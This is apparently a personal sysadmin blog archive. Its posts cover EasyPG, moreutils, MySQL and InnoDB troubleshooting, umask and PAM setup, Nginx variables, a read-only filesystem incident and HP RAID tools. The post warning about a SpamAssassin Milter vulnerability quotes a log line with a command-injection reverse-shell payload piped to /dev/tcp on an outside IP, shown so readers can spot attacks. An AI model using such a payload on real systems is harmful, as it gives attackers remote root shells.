DM@Work

Getting rid of GUI password prompt in EasyPG

2012-01-03T10:01:00.000-08:00

EasyPG is a package used by GNU Emacs to simplify work with files encrypted by GnuPG (GPG). Extremely useful package, it has a bad habit of relying on external tools to prompt for the password. One of such tools is 'gpg-agent'. In Debian/Ubuntu this agent usually replaces 'ssh-agent'. It's a good tool, but it uses a GUI dialog to prompt for the password. This makes your work with EasyPG and Emacs rather uncomfortable.

There's a number of advices on how you can suppress that GUI dialog. I prefer another one, I simply removed 'gpg-agent'. It did not affect the functionality, since it was replaced by 'ssh-agent'. Now, EasyPG prompts for the password in Emacs mini-buffer

moreutils

2011-12-14T02:14:00.000-08:00

Discovered 'moreutils' package in Ubuntu. It features a list of nice tools, of which my favorite are 'ts', 'pee' and 'vipe'.

'ts' puts timestamps to every line of text that is piped through it. Like,

$ ping google.com|ts
Dec 14 14:18:45 PING google.com (209.85.173.104) 56(84) bytes of data.
Dec 14 14:18:45 64 bytes from lpp01m01-in-f104.1e100.net (209.85.173.104): icmp_seq=1 ttl=52 time=88.5 ms
Dec 14 14:18:46 64 bytes from lpp01m01-in-f104.1e100.net (209.85.173.104): icmp_seq=2 ttl=52 time=92.5 ms
Dec 14 14:18:47 64 bytes from lpp01m01-in-f104.1e100.net (209.85.173.104): icmp_seq=3 ttl=52 time=90.5 ms

I love timestamps! I put them everywhere I can, it helps so much to find out later what was going on. 'ts' will certainly help me.

Another tool is 'pee'. As 'man pee' puts it, it's like 'tee', but for pipes. 'pee' reads standard input and sends it to a number of commands supplied as arguments to 'pee'. Like,

$ cat file.txt |pee 'wc -c' 'wc -w' 'wc -l'
5870
257
257

And, finally, 'vipe' — it's a way to edit data produced by one program before they are piped into another one. 'sed' is good enough, but when some interactivity is needed, 'vipe' should be handy.

Real conversations in Gmail

2011-11-23T02:56:00.000-08:00

Organizing your email in the Gmail way, by conversation, is very handy. What always annoyed me in the Google implementation was that the sent emails did not appear in the default folder. I know it is called Inbox. But sent messages do appear there, too, as soon as the recipient replies to me.

When I used other email clients, like Pine or Thunderbird, I used to set up FCC (folder carbon copy) in the outgoing messages to my Inbox. This gave me a conversation-like structure better than the one found in Gmail. Finally, I have the same structure in Gmail.

To see all your outgoing messages in (so called) Inbox, even when there are no replies in the conversation, create a new filter. Put your address to the From: field. Click "Next Step". Select "Never send it to Spam" and "Create Filter". That's it.

Update list of directories exported by NFS on the fly

2011-11-10T04:28:00.001-08:00

NFS configuration rarely changes on my servers and I always forget how the file /etc/exports may be re-read without stopping the NFS daemon:

exportfs -r

The case of slow MySQL connect

2011-08-16T02:18:00.001-07:00

Quite of a sudden, PHP scripts on one of my servers became very slow. Other servers worked fine. PHP-FPM logs showed that the biggest delays happened during database operations. The database server, though, recorded nothing in the mysql-slow.log.

Then, we had a look at the process list in MySQL. There were some dozens of lines like these:

| 1409888 | unauthenticated user | 11.11.11.11:59585    | NULL | Connect     |   NULL | login                                                          | NULL             |
| 1409889 | unauthenticated user | 11.11.11.11:59584    | NULL | Connect     |   NULL | login                                                          | NULL             |
| 1409890 | unauthenticated user | 11.11.11.11:59587    | NULL | Connect     |   NULL | login                                                          | NULL             |

where 11.11.11.11 is the IP address of that application server whence the connection was opened. Google said that these messages usually indicate at DNS problems. One of possible solutions would be to restart MySQL with --skip-name-resolve option, but we didn't want to stop the database. So, we added the hostname of the application server to the /etc/hosts file on the database server, and voilá! Unauthenticated users were gone in some seconds and the performance was restored.

The hosting company had informed us before of the planned maintenance, but they only mentioned their own website and their 'whois' server. They must have done something wrong with their DNS servers, too, which caused our database accept new connections very slowly.

Browsers: use TAB to move between form fields

2011-07-21T00:50:00.000-07:00

In Firefox, there's a useful setting that allows you to use TAB key to move between form fields only, skipping links. To do so, open "about:config" page, find "accessibility.tabfocus" variable and set it to 3. It took me quite some time to make Chromium to behave in a similar way. This solution was found here

Edit ~/.config/chromium/Default/Preferences. Find the section called `webprefs`. Add the following line at the beginning of the section:

        "tabs_to_links": false,

You can add the line at any place of the section, actually, but keep an eye on commas, they should appear at the end of all lines but the last one. The recipe was not tested on Google Chrome, but I see no reasons why it shouldn't work.

Lennart Poettering and the death of BSD

2011-07-16T12:25:00.000-07:00

Lennart Poettering, the author of Avahi, the most often purged package in Linux, thinks that BSD isn't relevant anymore. What other proof do you need that BSD is still alive and kicking?

Performing more than one search in one pass of 'find'

2011-06-27T04:38:00.001-07:00

find is a utility that searches a directory tree for files matching complex conditions. The conditions may include file name, file type, creation/modification time, owner, permissions and others. Besides, you can define an action to be performed on the files that match your search criteria.

When I have to run a number of searches, I usually do it sequentially, but the process may take too much time if the number of files find has to inspect is very large. It turns out that you can define multiple sets of conditions in find and perform different actions on files that match different conditions. The utility will traverse the directory only once.

This is how you can define multiple conditions and actions in one pass of find:

find /data \( ! -group mygroup -exec chgrp mygroup {} \; \) , \
                   \( -type f ! -perm -g=rw -exec chmod g+rw {} \; \) , \
                   \( -type d ! -perm -g=rws -exec chmod g+rws {} \; \)

This command will change group owner for all files that do not belong to mygroup, set read and write permissions for the owning group if the file is a regular file, set read, write and setgid permissions if the file is a directory. All in a single pass.

How to change default `umask' in Linux. File permissions for collaborative environment

2011-04-20T02:46:00.000-07:00

Umask is a command and value that defines what permissions newly created files and directories will have. Had it not been for umask, every file you create would have had permissions set to 666 (u=rw,g=rw,o=rw), and every directory would have had 777 (u=rwx,g=rwx,o=rwx). But the value of umask is subtracted from 666 and the difference is used as the permissions for the new file. Usually, the default umask is 022, which leaves us with 644 (owner can read and write, others can read the file). The value of umask may be different for different users. This is done with the command of the same name (search for 'umask' in `man bash`).

Frankly, I find the choice of the default value for umask rather strange. Suppose you have a server where five people work on a web application and they have their own accounts. The code is stored in a version control system. These five people should have enough permissions to check out new code. When one of them adds a new file to the repository and then checks it out, the file belongs to this user and cannot be modified by the others. Solutions might be either to grant write permissions to everyone (chmod 666 filename) or to change the group ownership of the file to some group to which all five developers belong and grant write permissions to that group. The first solution is insecure. As for the second one, we can use a simple trick to maintain group ownership of all files in the project.

Among various permissions you can set with chmod there is one called setgid. When this bit is set on a directory, all files and directories created in this directory will have the same group ownership as this directory. So, we only have to grant write permissions to the group-owner in order to work in collaboration with other users. To grant the necessary permissions automatically, we could set the umask value to 002. This is done using simple command 'umask 002', but is there a way to set this as a default value for all users?

Umask may be modified in /etc/profile. For example, in Ubuntu Linux, this file contains the following line:


umask 022

By changing the value to 002, we'll change the umask for all users who log in using shells which execute /etc/profile. Watch out, though. There are some situations when this file is not run. For example, cron executes all commands using default umask 022. How do we tackle this problem?

Another way to change umask is to use PAM (Pluggable Authentication Modules), the subsystem for adding various features to login process. One of these modules is called pam_umask. It allows for setting default umask for all users. We have to enable this module for both interactive and non-interactive sessions. In Ubuntu, configuration files of PAM are stored in /etc/pam.d. Make sure you have module pam_umask installed (package libpam-modules) and edit two files, common-session and common-session-noninteractive, adding one line in the end of each of them:

session optional pam_umask.so umask=002

NB! If I understand correctly, you have to run pam-auth-update so PAM would reread the configuration.

CAVEAT 1: umask may be set in users' ~/.profile, so make sure it is not!

CAVEAT 2: There are some especially badly written programs that have umask hardcoded. Gnome is notorious for having such bugs (e.g., see bug #336214). My advice would be: do NOT use GDM or Nautilus. Or Gnome, or KDE, for that matter :).

So, to sum it up. To set up a collaborative environment, we have to:

create a new group: addgroup team
add users to this group: adduser user1 team
create new directory: mkdir /var/www/project
change group ownership for the directory: chgrp team /var/www/project
change the permissions for the directory: chmod g+sw /var/www/project
edit PAM config files, adding pam_umask.so.

Now, every file that user1 creates in /var/www/project will be writable for all users in the team

Pardon me for repeating myself, but I do find the default value of umask unreasonable. 022 is often explained by security concerns, but it does not allow the group members to edit the file, but instead grants read rights to everyone! I could understand, say, 027, which bans read access to those outside the group, or 002, which grants write access to the group. Perhaps, 007 would be a good compromise.

Vulnerability in Spamassassin milter plugin

2011-02-14T02:40:00.000-08:00

Owners of sendmail/postfix with the Spamassassin Milter plugin, watch out! Exploit is in the wild:
Spamassassin Milter Plugin Remote Root,
SpamAssassin Milter Plugin 'mlfi_envrcpt()' Remote Arbitrary Command Injection Vulnerability,
ET EXPLOIT Possible SpamAssassin Milter Plugin Remote Arbitrary Command Injection Attempt.

Check your logs for mail like this:


Feb 13 20:31:55 host sm-mta[21734]: p1DHVtxv021734: from=blue@dick.com, size=0, class=0, nrcpts=0, proto=SMTP, daemon=MTA-v4, relay=eluxenia.com [62.149.195.3]

If the system is not vulnerable, sendmail would reply with:


Feb 13 20:31:55 host sm-mta[21734]: p1DHVtxv021734: root+:"|exec /bin/sh 0</dev/tcp/87.106.250.176/45295 1>&0 2>&0"... Cannot mail directly to programs

At least, this is what my sendmail reported.

SOLVED: Moving InnoDB tables between Percona MySQL servers

2010-12-20T11:49:00.000-08:00

Update. Warning: The procedure is not working. The table can be copied, imported into another server and successfully read, but an attempt to write to the table causes a server crash. The problem is probably caused by remaining tablespace ids in the ibd file.

Update 2. Kudos to the Percona team, who pointed me to an error in my configuration file. To import tablespaces, one more option had to be set on the server, innodb_expand_import. Xtrabackup documentation has been updated.

When trying to move a table from one server to another, I found a problem. I followed the procedures outlined in the Percona Xtrabackup manual, chapter Exporting Tables.

On the last step, when doing IMPORT TABLE, I received an error message saying:

mysql> alter table `document_entity_bodies` import tablespace;
ERROR 1030 (HY000): Got error -1 from storage engine

There was some more information in the log:

101220 16:14:51  InnoDB: Error: tablespace id and flags in file './dbx_replica/document_entity_bodies.ibd'
 are 21 and 0, but in the InnoDB
InnoDB: data dictionary they are 181 and 0.
InnoDB: Have you moved InnoDB .ibd files around without using the
InnoDB: commands DISCARD TABLESPACE and IMPORT TABLESPACE?
InnoDB: Please refer to
InnoDB: http://dev.mysql.com/doc/refman/5.1/en/innodb-troubleshooting-datadict.html
InnoDB: for how to resolve the issue.
101220 16:14:51  InnoDB: cannot find or open in the database directory the .ibd file of
InnoDB: table `dbx_replica`.`document_entity_bodies`
InnoDB: in ALTER TABLE ... IMPORT TABLESPACE

The page mentioned in the log was not really helpful. What saved me was this article: Recovering an InnoDB table from only an .ibd file.

Following the instructions, I used a hex editor (shed) to change tablespace id in the ibd file from 0x15 to 0xB5 and then the import worked fine.

I wonder if there is a way to avoid these manipulations. Perhaps, one more operation should be added to xtrabackup to make the tablespace ids agree?

Oh, and it's Xtrabackup 1.4 working with Percona Server 5.1.51

Amarok without panels and trays

2010-12-15T22:23:00.000-08:00

What's the use of “desktop” ornamentation like panels and trays? Time of day, CPU load, WiFi status — I can't think of anything I would like to see every moment I spend at the keyboard. If I want to know what's the time, I press 'M-z a'. So, panels and trays do not occupy a single pixel on my display.

Some programs, though, have a strange habit of closing their main window and leaving only a small icon in the tray. And there's no other way to control them besides grabbing the mouse and clicking, clicking, clicking... In some cases, though, you can leave your mouse in the dust. Amarok is one of such cases. I was perplexed when I saw Amarok in the list of processes, but there was no main window anywhere. Unfortunately, Amarok uses one of those recent abominations that appeared in Linux, DBus. To show the main window, send a signal using `qdbus':

$ qdbus org.kde.amarok /amarok/MainWindow org.kde.amarok.MainWindow.showHide

MySQL: enable innodb_file_per_table with zero downtime

2010-11-19T00:03:00.000-08:00

I thought that while my wife is preoccupied with the lemon pie, I might tell you this story.

InnoDB is a very good storage engine for MySQL that combines reasonable performance with wide popularity and, as a consequence, a good set of tools for diagnostics and fine-tuning. One of its downsides is that it is inefficient when it comes to the disk space management. While an extent of HDD space was added to the storage, InnoDB will not return it back even when you delete tables or databases. To add some flexibility, you should use innodb_file_per_table option. Unfortunately, if you have a running database, you cannot just enable this option. You will have to make a dump of the database and restore it on a new instance of MySQL with the option enabled from the very beginning. This scenario means that the database will be inaccessible from the moment you start mysqldump to the moment you finish restoring the data in the new instance. Is there a way to minimize the downtime?

Yes, you can run mysqldump on a backup of your database. But, then you lose the data written to the database from the moment you make the backup to the moment the new instance is ready. But that's a bit closer to the solution. You can also set up replication between the original database and the new one and then, when the new instance catches up with the old one, your task is completed. And the backup can be done online, without stopping MySQL, if you use Xtrabackup tool by Percona.

So, the basic steps you have to follow are:

Configure your original database as master. Unless your database is already using binlogs for security, this is the only step that will require restarting MySQL.
Make a backup of the original database using Xtrabackup.
Restore the backup and run a second instance of MySQL.
Run mysqldump on the second instance.
Stop the second instance, but do not delete it yet.
Create a new database and start the third instance of MySQL with the enabled option innodb_file_per_table.
Restore the dump by feeding it into the third instance of MySQL.
Configure the third instance as slave and run the replication.
When the initial replication finishes and the slave catches up with the master, reconfigure your clients to use the new instance.
That's it. You can stop the first instance now and delete it.

I wrote an even more detailed guide illustrated with example commands. It was published on Linux.com recently: HOWTO: Reconfigure MySQL to use innodb_file_per_table with zero downtime

How not to write scripts

2010-11-12T11:56:00.000-08:00

Today, I've seen a PHP script that used 41.5 Gb of virtual memory. 26 of them were carefully put to the swap. And I recalled the programs we were writing only 15-20 years ago. Like, a text editor that could process gigabyte text files (in theory, because there were no disk drives to store such files). Or a graphic viewer that could show pictures ten times larger than the amount of available RAM.

As a friend of mine has put it, in the USSR, when the engineers were sent to kolkhoz to gather in the crop of potato, they knew what might happen to them if they didn't work well. Wish some of modern developers knew that, too.

Hardware RAID? Software RAID? Both!

2010-11-03T12:21:00.000-07:00

I have received a HP server with Ubuntu installed by someone else. There is Smart Array RAID controller installed there with cciss driver. And at the same time, there's device mapper configured:

$ ls -l /dev/mapper/
total 0
crw-rw---- 1 root root  10, 59 2010-08-25 19:01 control
brw-rw---- 1 root disk 251,  0 2010-08-25 19:01 okd-root
brw-rw---- 1 root disk 251,  1 2010-08-25 19:01 okd-swap_1
$ ls -l /dev/cciss/
total 0
brw-rw---- 1 root disk 104, 0 2010-08-25 19:01 c0d0
brw-rw---- 1 root disk 104, 1 2010-08-25 19:01 c0d0p1
brw-rw---- 1 root disk 104, 2 2010-08-25 19:01 c0d0p2
brw-rw---- 1 root disk 104, 5 2010-08-25 19:01 c0d0p5
$ mount
/dev/mapper/okd-root on / type ext4 (rw,errors=remount-ro)
...
/dev/cciss/c0d0p1 on /boot type ext2 (rw)

What I'm certain about is that hardware RAID is a must on my servers. Its battery-backed cache can provide a higher performance than that of software-only RAID. But should I get rid of the device mapper and LVM based on it?

From what I found in various sources, I thought I would better leave it as it is.

Firstly, the performance penalty is negligible. Secondly, LVM allows for more flexible volume management (like, removal of a PV, moving PEs to the free space in the VG). Thirdly, snapshots. And, finally, portability of LVM volumes between incompatible hardware (this won't work for me, I'm afraid, because of the underlying hardware RAID1).

Besides, this LVM over RAID approach seems to be a common thing now and nobody seems to have complained about it... :)

Well, anyway, I understood that Linux software RAID is one more area I should learn more about.

The case of the read-only file system

2010-10-29T12:56:00.000-07:00

Today, I received a notification from Nagios that one of my servers, running Sphinx search engine, was not OK. The message said the RAID controller didn't work well, but this was not the case. Sphinx itself was still running and it served the requests. It just could not update the indices to reflect the new data. I logged in with SSH and tried to run the Nagios plugin manually and received the error:

$ /usr/lib/nagios/plugins/check_hpacucli
/usr/lib/nagios/plugins/check_hpacucli: line 72: /tmp/hpacucli.txt: Read-only file system
rm: cannot remove `/tmp/hpacucli.txt': No such file or directory

Was it really read-only?! /tmp was not a mounted file system, it was the root FS

$ touch 1.txt
touch: cannot touch `1.txt': Read-only file system

It seemed that the root file system had really turned read-only.

$ mount
/dev/mapper/sphinx-root on / type ext4 (rw,errors=remount-ro)
$ cat /etc/fstab
/dev/mapper/sphinx-root /               ext4    errors=remount-ro 0       1

The meaning of the flag errors=remount-ro must be obvious: it remounts the file system in question in read-only mode when some errors may corrupt the FS. I had to find out what might kind of errors could trigger the flag. But there was nothing special in the system logs:

$ sudo tail -n 2 syslog
Oct 27 12:08:14 sphinx kernel: [10073549.962985] IP Tables: IN=eth1 OUT= MAC=ff:ff:ff:ff:ff:ff:18:a9:05:41:f3:ce:08:00 SRC=212.24.56.5 DST=212.24.56.31 LEN=78 TOS=0x00 PREC=0x00 TTL=128 ID=31736 PROTO=UDP SPT=137 DPT=137 LEN=58
Oct 27 12:08:14 sphinx kernel: [10073550.725397] IP Tables: IN=eth1 OUT= MAC=ff:ff:ff:ff:ff:ff:18:a9:05:41:f3:ce:08:00 SRC=212.24.56.5 DST=212.24.56.31 LEN=78 TOS=0x00 PREC=0x00 TTL=128 ID=32600 PROTO=UDP SPT=137 DPT=137 LEN=58
$ sudo tail -n 3 messages
Oct 27 12:07:22 sphinx kernel: [10073498.248999]       blocks= 879032432 block_size= 512
Oct 27 12:07:22 sphinx kernel: [10073498.249037]       heads=255, sectors=32, cylinders=107725
Oct 27 12:07:22 sphinx kernel: [10073498.249038]

Of course, nothing could get into the log files as soon as the FS stopped writing into files! However, there is one more log, which is not written into a file. You can browse it using dmesg command:

$ sudo dmesg|tail
[10105513.875139] IP Tables: IN=eth1 OUT= MAC=00:24:81:fb:2b:ad:00:0c:cf:47:11:c0:08:00 SRC=94.55.152.129 DST=212.24.56.25 LEN=48 TOS=0x00 PREC=0x00 TTL=117 ID=27206 DF PROTO=TCP SPT=3128 DPT=445 WINDOW=65535 RES=0x00 SYN URGP=0
[10105565.081765] IP Tables: IN=eth1 OUT= MAC=00:24:81:fb:2b:ad:00:0c:cf:47:11:c0:08:00 SRC=81.198.246.184 DST=212.24.56.25 LEN=48 TOS=0x00 PREC=0x00 TTL=116 ID=55870 DF PROTO=TCP SPT=3218 DPT=445 WINDOW=65535 RES=0x00 SYN URGP=0
[10105568.037173] IP Tables: IN=eth1 OUT= MAC=00:24:81:fb:2b:ad:00:0c:cf:47:11:c0:08:00 SRC=81.198.246.184 DST=212.24.56.25 LEN=48 TOS=0x00 PREC=0x00 TTL=116 ID=56107 DF PROTO=TCP SPT=3218 DPT=445 WINDOW=65535 RES=0x00 SYN URGP=0
[10105707.853626] IP Tables: IN=eth1 OUT= MAC=ff:ff:ff:ff:ff:ff:18:a9:05:41:f3:ce:08:00 SRC=212.24.56.5 DST=212.24.56.31 LEN=78 TOS=0x00 PREC=0x00 TTL=128 ID=29692 PROTO=UDP SPT=137 DPT=137 LEN=58
[10105708.615590] IP Tables: IN=eth1 OUT= MAC=ff:ff:ff:ff:ff:ff:18:a9:05:41:f3:ce:08:00 SRC=212.24.56.5 DST=212.24.56.31 LEN=78 TOS=0x00 PREC=0x00 TTL=128 ID=29742 PROTO=UDP SPT=137 DPT=137 LEN=58
[10105709.377978] IP Tables: IN=eth1 OUT= MAC=ff:ff:ff:ff:ff:ff:18:a9:05:41:f3:ce:08:00 SRC=212.24.56.5 DST=212.24.56.31 LEN=78 TOS=0x00 PREC=0x00 TTL=128 ID=30803 PROTO=UDP SPT=137 DPT=137 LEN=58
[10106190.118646] IP Tables: IN=eth1 OUT= MAC=00:24:81:fb:2b:ad:00:0c:cf:47:11:c0:08:00 SRC=92.226.213.205 DST=212.24.56.25 LEN=52 TOS=0x00 PREC=0x00 TTL=119 ID=30620 DF PROTO=TCP SPT=2961 DPT=445 WINDOW=32767 RES=0x00 SYN URGP=0
[10106193.144746] IP Tables: IN=eth1 OUT= MAC=00:24:81:fb:2b:ad:00:0c:cf:47:11:c0:08:00 SRC=92.226.213.205 DST=212.24.56.25 LEN=52 TOS=0x00 PREC=0x00 TTL=119 ID=30905 DF PROTO=TCP SPT=2961 DPT=445 WINDOW=32767 RES=0x00 SYN URGP=0
[10106214.257277] IP Tables: IN=eth1 OUT= MAC=00:24:81:fb:2b:ad:00:0c:cf:47:11:c0:08:00 SRC=109.160.88.133 DST=212.24.56.25 LEN=434 TOS=0x00 PREC=0x00 TTL=50 ID=0 DF PROTO=UDP SPT=21015 DPT=5060 LEN=414
[10106311.722746] IP Tables: IN=eth1 OUT= MAC=00:24:81:fb:2b:ad:00:0c:cf:47:11:c0:08:00 SRC=83.234.62.250 DST=212.24.56.25 LEN=48 TOS=0x00 PREC=0x00 TTL=121 ID=55552 PROTO=TCP SPT=53697 DPT=2222 WINDOW=65535 RES=0x00 SYN URGP=0

In dmesg log, I found some interesting lines:

[10073618.603399] do_get_write_access: OOM for frozen_buffer
[10073618.603451] ext4_reserve_inode_write: aborting transaction: Out of memory in __ext4_journal_get_write_access
[10073618.603541] EXT4-fs error (device dm-0) in ext4_reserve_inode_write: Out of memory
[10073618.603623] Aborting journal on device dm-0:8.
[10073618.603839] EXT4-fs (dm-0): Remounting filesystem read-only
[10073618.611361] EXT4-fs error (device dm-0) in ext4_dirty_inode: Out of memory
[10073618.876932] htop invoked oom-killer: gfp_mask=0x280da, order=0, oomkilladj=0

Out of memory killer is an funny feature of the Linux kernel. When the kernel needs more memory than it has available, it kills in a more or less random fashion one or more running processes. But when did it happen? The timestamps in dmesg are not very informative. The figures in brackets are seconds since boot time. Which means I had to find the uptime in seconds. It is very easy, just read the file /proc/uptime. This file is located on the virtual filesystem and hence it was still writable:

$ cat /proc/uptime
10132406.21 161014358.20

The first number is the number of seconds sine boot time. So, I just had to subtract the dmesg number from the /proc/uptime number, divide it by 60 and I got the number of minutes passed since the process was killed.

Actually, this information was not really important, it was just interesting. Now, I had the explanation of the situation. Sphinx must have allocated too much memory, the kernel killed some process (the message in dmesg said it was htop, but it was not the only one, there were more processes killed). The process must have been writing something to the disk when it was shot down. The file system recognized it as an error and switched to the read-only mode, as prescribed by the fstab option errors=remount-ro.

First of all, I tried to remount the file system back in rw mode. The usual command mount -o remount,rw would not work, because mount attempts to write to /etc/mtab, located on the read-only file system. So, I had to give one more flag to avoid writing to mtab:

$ sudo mount -n -o remount,rw
mount: block device /dev/mapper/sphinx-root is write-protected, mounting read-only

Read-only again... I thought I had to run fsck to fix the errors, but to do so, I had to reboot the server. It was probable that the automatic fsck would not solve the problem and I would need a live CD to run fsck. So, I sighed and moved Sphinx to another server. When it was done and the second server began serving users' requests, I inserted a live CD in the server and rebooted. Fortunately, the automatic fsck fixed the errors, the server rebooted once again and very soon Sphinx was up and running again.

MySQL reference I had always missed

2010-10-24T05:26:00.000-07:00

InnoDB Glossary. These terms are commonly used in information about the InnoDB storage engine. No idea, why I have never seen this before. I found the article today and I'm still reading. It's a very dense explanation of many important construction blocks of InnoDB (and, of course, XtraDB!) engine. Must read.

Nagios notifications

2010-10-15T03:15:00.000-07:00

For quite some time, I've been receiving Nagios notifications via e-mail and SMS. Recently, my cellular operator, MTS, turned off the service that allowed me to receive email messages via SMS. Shame upon MTS! Don't use their services. The reliability is terrible and then they just turn it off.

I plan to buy and set up a SMS gateway on the server. In the meanwhile, I was looking for other alternatives.

Firefox extension

Nagios Checker is a Firefox extension that displays Nagios alerts in the browser's status bar. Works fine, but I'm still not certain about the merits of this solution. After all, I can get e-mail notifications in the same browser area. And it's not mobile.

On the other hand, it's much more satisfying to see the green spot down there than to jump up every time an email notifier informs you of another webinar you don't want to attend.

Push e-mail

My cell phone is Nokia E63. It's a Symbian thingy and its messaging application can monitor my Gmail account non-stop. Well, actually, I'm not sure if it's implemented as a real push e-mail, even though Wikipedia is dead sure that it is. Either way, it works, but only as long as I'm within reach of a WiFi network. Of course, it should work over GRPS/Edge/3G, too, but I am still to find how much this permanent connection would cost me.

Social networks

There's a number of articles that recommend using Twitter to deliver the notifications, but I never could grasp the value of this service and do not use it. Besides, I think anyone would be able to read the alerts? Not good.

Instant messengers

A sound idea. But I tend to keep as far from them as possible. Even at work, where Skype is the preferred way of communication, I hardly use it. It's not as comfortable as e-mail, IMHO. It annoys and distracts me. And, finally, there are too many new messages, and the natural reaction is to neglect them.

Other ways

I've found an interesting article, "Notifications and Events in Nagios 3.0" (Part I and Part II). It summarizes some interesting ideas and details of their implementation in Nagios. Still, it does not mention an amazing idea, which I would really like to try out. Have a look at this video:

In the meanwhile, I think I should try push e-mail. Also, I think the server could trigger a desktop notification program (like notify-send, kdialog or, even better, a self-made Tcl/Tk pop-up notifier) remotely, via ssh. It should work well.

It's a pity cell phones don't have their own IP addresses and can't be controlled via ssh...

Git and SVN

2010-10-07T05:38:00.000-07:00

Very soon I will have a chance to compare the two version control systems in practice. I have to admit, though, that I'm rather biased against Git. It might have certain advantages for open-source teams, where members change often and hardly ever see each other. But I fail to understand (at least, a priori) how it could be better than SVN in a traditional development model. If I understand correctly, the only difference between them is one more intermediate repository between every two team members and, consequently, one more synchronization before code gets into trunk. I can believe that Git makes developers commit more often. But the changes are checked into the local repository, while synchronizations between repositories are usually made less often.

Another advantage of Git, local branches, which are easier to create and merge, also has a downside. They encourage the developer to experiment, but they also increase the chances of conflicts when branches are merged. Once again, the freedom of experiments might be good for open source projects, but for the teams where people work in contact it may create extra risks of project fragmentation.

XtraBackup 1.3b

2010-08-30T01:39:00.001-07:00

I have installed the newer version of XtraBackup, a tool for online backup of MySQL databases. The first tests show that a lot of errors were fixed in this, not yet released, version. Version 1.2 failed to make incremental backups on one of my servers, could not restore full backup on another, and segfaulted during full backup on the third one. 1.3b makes copies of all three and is able to restore them flawlessly.

A 233GB database was copied in 2:15'. I highly recommend you upgrade your installation of Xtrabackup to v.1.3b and to test it on production servers.

Download page at Percona.com is here: XtraBackup-1.3-beta. I usually download x86_64 binary files for Linux here.

Gaps in graphs generated by rrdtool

2010-08-23T06:56:00.000-07:00

I sometimes see questions like: "Why are there gaps in my Munin graphs?" or "How do I get rid of holes in Nagiosgraph charts?". Some classical answers may be found in Munin FAQ or in 'man munin.conf'.

There is one more option, though. The problem may be caused by buggy plugins. By rounding errors in the plugins, to be precise.

From my experience, the gaps are usually found in the graphs where the data is a sum of some indicators. For example, the CPU load graph. The maximum value is calculated as number-of-cpus*100%. The actual value is calculated as the sum of a number of values: the time spent by the CPU in user mode, in system mode, waiting for I/O, in idle state, etc. Under certain conditions, this sum may exceed 100%. In this case, Rrdtool will omit the measurement from the graph and there will be a hole.

To get rid of the gaps, for example, in Munin's 'cpu' plugin, I replaced the lines

        PERCENT=$(($NCPU * 100))
        MAX=$(($NCPU * 100))

with

        PERCENT=$(($NCPU * 100 + 200))
        MAX=$(($NCPU * 100 + 200))

200 might be an overkill, but it looked a bit better in my Munin :). Of course, another option is to check the actual data for being not greater than the max value.

Using variables in complex configurations of Nginx

2010-08-09T23:33:00.000-07:00

There are some situations for which Nginx config file does not provide adequate solutions. Very often, using variables, both built-in and user-defined, might help.

For example, Nginx does not support complex conditions, neither as logical operations nor as nested if's. The solution is to define a new variable. If you want a certain URL rewrite to take place only if the Referer header contains "somedomain.com" OR is empty, you can write:

$dorewrite = 'no';
if ($http_referer ~* somedomain.com) {
       set $dorewrite 'yes';
}
if ($http_referer = '') {
       set $dorewrite 'yes';
}
if ($dorewrite = 'yes') {
       rewrite ^ new-request;
}

If you want to rewrite the URL if both conditions are true, for example, the Referer header contains "somedomain.com" AND there's a GET parameter 'id' equal to '12345', modify the snippet above using the De Morgan's law:

$dorewrite = 'yes';
if ($http_referer !~* somedomain.com) {
       set $dorewrite 'no';
}
if ($arg_ID != '12345') {
       set $dorewrite 'no';
}
if ($dorewrite = 'yes') {
       rewrite ^ new-request;
}

Note the variable $arg_ID. This is a built-in variable. There is one such variable for every GET parameter in the request. Its name is composed of $arg_ and the name of the parameter. If you know all parameters you need to serve the request, these variables will help you to extract and pass them around.

If you use complicated regular expressions which you'd like to simplify, define another variable that would contain a part of the regexp:

if ($arg_ID ~* ^doc-number-([-a-z0-9]*)$) {
        set $newarg $1;
}
if ($dorewrite = 'yes') {
        rewrite ^ /doc/view/$newarg? break;
}

Installation of HP Array Configuration Utility CLI for Linux on Ubuntu 10.04 Lucid Lynx

2010-07-02T00:39:00.000-07:00

HP Array Configuration Utility CLI for Linux (hpacucli) is a useful tool that allows you to manage your HP RAID controller from command line (via ssh, that is). It can also be used to monitor the state of the disk subsystem with tools like Nagios or Zabbix. The following controllers are supported:

Smart Array 5312 Controller
Smart Array 5302 Controller
Smart Array 5304 Controller
Smart Array 532 Controller
Smart Array 5i Controller
Smart Array 641 Controller
Smart Array 642 Controller
Smart Array 6400 Controller
Smart Array 6400 EM Controller
Smart Array 6i Controller
Smart Array P600 Controller
Smart Array P400 Controller
Smart Array P400i Controller
Smart Array E200 Controller
Smart Array E200i Controller
Smart Array P800 Controller
Smart Array E500 Controller
Smart Array P700m Contoller
Smart Array P410i Controller
Smart Array P411 Controller
Smart Array P212 Controller
Smart Array P712m Contoller
Smart Array B110i SATA RAID
Smart Array P812 Controller
MSA500 Controller
MSA500 G2 Controller
MSA1000 Controller
MSA1500 CS Controller
MSA20 Controller

The tool is supplied on HP Support Pack CDs, but you can download a newer version from the HP site. To install hpacucli, visit this page and download hpacucli-8.50-6.0.noarch.rpm. Now, copy it to the server you'll install it on. Next, we'll unpack the RPM file. You can do it using, for example, rpm2cpio, rpm2tgz, etc. In Ubuntu, there's a utility called alien, that can do the same:

alien --to-tgz hpacucli-8.50-6.0.noarch.rpm

alien will report some errors and warnings, but don't worry. You will now get a new file, called hpacucli-8.50.tgz.

tar -xzf hpacucli-8.50.tgz

Move the unpacked files to corresponding locations:

sudo mv opt/compaq /opt/
sudo mv usr/sbin/* /usr/sbin/

Now, if you run a i386 kernel, you can run hpacucli, which is a 32-bit program. However, if your Ubuntu is a 64-bit system, you will have to allow execution of 32-bit binaries. One of the ways to do so is to install ia32-libs package. After the installation you can run hpacucli.

hpacucli gives you a prompt where you can enter commands or you can give the commands from the shell command line, like:

$ sudo hpacucli help

$ sudo hpacucli ctrl all show config

Smart Array P212 in Slot 1                (sn: PACCP9SYJ067  )

   array A (SAS, Unused Space: 0 MB)


      logicaldrive 1 (419.2 GB, RAID 1, OK)

      physicaldrive 1I:1:1 (port 1I:box 1:bay 1, SAS, 450 GB, OK)
      physicaldrive 1I:1:2 (port 1I:box 1:bay 2, SAS, 450 GB, OK)

   Expander 250 (WWID: 50014380065D7410, Port: 1I, Box: 1)

   Enclosure SEP (Vendor ID HP, Model DL18xG6BP) 248 (WWID: 50014380065D7423, Port: 1I, Box: 1)

